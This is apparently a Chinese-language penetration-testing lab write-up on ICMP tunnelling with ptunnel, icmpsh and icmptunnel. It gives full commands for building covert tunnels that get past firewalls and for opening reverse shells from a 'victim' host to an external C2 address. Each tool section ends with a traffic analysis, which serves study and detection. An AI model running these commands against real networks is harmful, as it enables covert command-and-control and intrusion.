ICMP协议,即Internet控制报文协议(Internet Control Message Protocol),是为了解决IP协议的不足(IP协议没有提供直接的方式来获取诊断信息),而设计的工作在网络层和传输层之间的协议。ICMP协议主要提供两种功能,一种是差错报文,一种是信息类报文。信息类报文包括回显请求和回显应答,以及路由器通告和路由器请求。常见的差错报文类型包括目的不可达、重定向、超时和参数问题。
Snipaste_2020-03-09_00-18-22.png

0x01 ICMP隧道

ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。

0x02 ptunnel

实验环境:内网受害机:192.168.123.185(这里用kali替代)
外网C2:49.235.84.181(这里用自己的vps替代)
1、ptunnel安装
无论是icmp发送端还是接受端都需要安装ptunnel。kali中默认安装ptunnel,就不需要再安装了。
而乌班图的云主机需要安装ptunnel,命令如下:

sudo apt install ptunnel

2、外网C2设置监听

sudo ptunnel -v 5 -x cocosec
[-v]表示显示详细过程,值可以-1-5,-1为不显示,5为最详细
[-x]表示设置连接密码
[-p]代理服务器地址
[-lp]本地端口
[-da]目标内网IP
[-dp]目标端口
回显服务端命令列表
[标注]net available on windows标识是需要在windows下使用,本次实验不涉及
[-c]网卡编号
[-udp]通过udp协议传输,端口为udp53
[-x]进入此隧道密码,如果服务器加该参数,客户端也需要加同样参数和值】
[-f]指定一个日志文件                                                

以上参考自大佬的文章渗透测试常用工具-ptunnel内网穿透
3、内网受害机建立端口映射
在内网的受害机上设置本地2333端口映射外网远程62233端口,建立icmp隧道。-x设置的密码与外网监听的一致。如果把-da后的127.0.0.1改成内网其他的ip,就可以远程代理那个ip了,运行该命令的主机就是跳板机。

ptunnel -p 49.235.84.181 -dp 62233 -da 127.0.0.1 -lp 2333 -x cocosec

4、内网受害机ssh内网穿透
内网受害机运行:

ssh -p 2333 localhost

这样通过ssh协议连接的ip协议将被封装到icmp协议中,传输出去到达设置的外网C2,这样便可以突破防火墙的某些限制。
如果内网受害机要上外网:

ssh -p 2333 -ND 9999 localhost

这样就用ssh建了一个SOCKS代理,该代理通向外网C2,是一个在ICMP Tunnel上的SSH Tunnel。然后设置浏览器的代理为 SOCK5 , 地址是 localhost, 端口为9999. 内网受害机就可以上外网了。
5、流量分析
Snipaste_2020-03-09_22-54-28.png
可以看到,ping流量中的data部分便是隧道传输的数据了。而且请求的ping包和回应的ping包里的data不对等,一条ping请求可以对应多个ping回应。
Snipaste_2020-03-09_23-34-43.png

0x03 icmpsh

实验环境:内网受害机(windows系统)
外网C2:49.235.84.181(这里用自己的vps替代)
icmpsh是利用icmp协议进行反弹shell的工具,该脚本是针对windows平台的反弹shell。项目地址:https://github.com/inquisb/icmpsh
1、控制端环境设置
控制端需要禁ping,禁ping命令:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

控制端还需要安装python Impacket模块,该模块用于处理网络协议的Python类的集合。
sudo pip install impacket
2、控制端监听反弹shell

sudo ./run.sh

这里要求输一下受害主机的出口ip,估计改改代码可以实现不用输受害主机的公网ip,毕竟ping过来这边能检测到的。
3、受害主机运行反弹shell命令

icmpsh.exe -t 49.235.84.181 -d 500 -b 30 -s 128

然后在云主机控制端便能接收到反弹shell了,之后云主机能对受害主机进行一系列地操作了。
这里受害端还能运行powershell icmp脚本,脚本地址:https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1
与运行icmpsh.exe类似,把powershell icmp脚本放在文档文件夹(或者其他路径)中,在C盘下运行powershell如下命令:

. C:\Users\tiantianchiji\Documents\Invoke-PowerShellIcmp.ps1
 Invoke-PowerShellIcmp -IPAddress 49.235.84.181

4、流量分析
控制端下发命令时,命令直接走ping reply回应包中的data中,例如下图的dir
Snipaste_2020-03-10_01-56-24.png
受害机再回传数据给控制端,也是明文走ping request
如果利用powershell icmp脚本运行的反弹shell,如果不改脚本代码,在ping向管理端时data中会有一段自述如下,其他的与上面一样。
Snipaste_2020-03-15_00-39-17.png

0x03 icmptunnel

icmptunnel是通过创建虚拟网卡,将所有流量都经过这个虚拟网卡,即ICMP隧道。项目地址:https://github.com/jamesbarlow/icmptunnel,github上有两个icmptunnel的项目,但是发现另外一个icmptunnel项目测试有问题,所以用这个。另外,发现腾讯云主机作为服务端不行,但是搬瓦工的vps可以。
1、屏蔽回应ping请求
为了防止系统内核对ping请求进行回应,所以两端把ping暂时禁止。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

2、服务端开启icmptunnel并且定义虚拟ip

# ./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
# bg
# /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

2、客户端连接外网icmptunnel并且定义虚拟ip

# ./icmptunnel <server>
opened tunnel device: tun0
connection established.
(ctrl-z)
# bg
# /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

3、客户端尝试通过icmp隧道传输

# ssh [email protected]
Password:

发现可以ssh连接10.0.0.1,说明icmp隧道建立成功。
4、流量分析
当无数据传输时,icmp的data段请求和回应均为TUNL
当有数据传输时,icmp的data段请求和回应变为TUNL后再加ip协议的数据。

Last modification:December 1st, 2020 at 12:17 am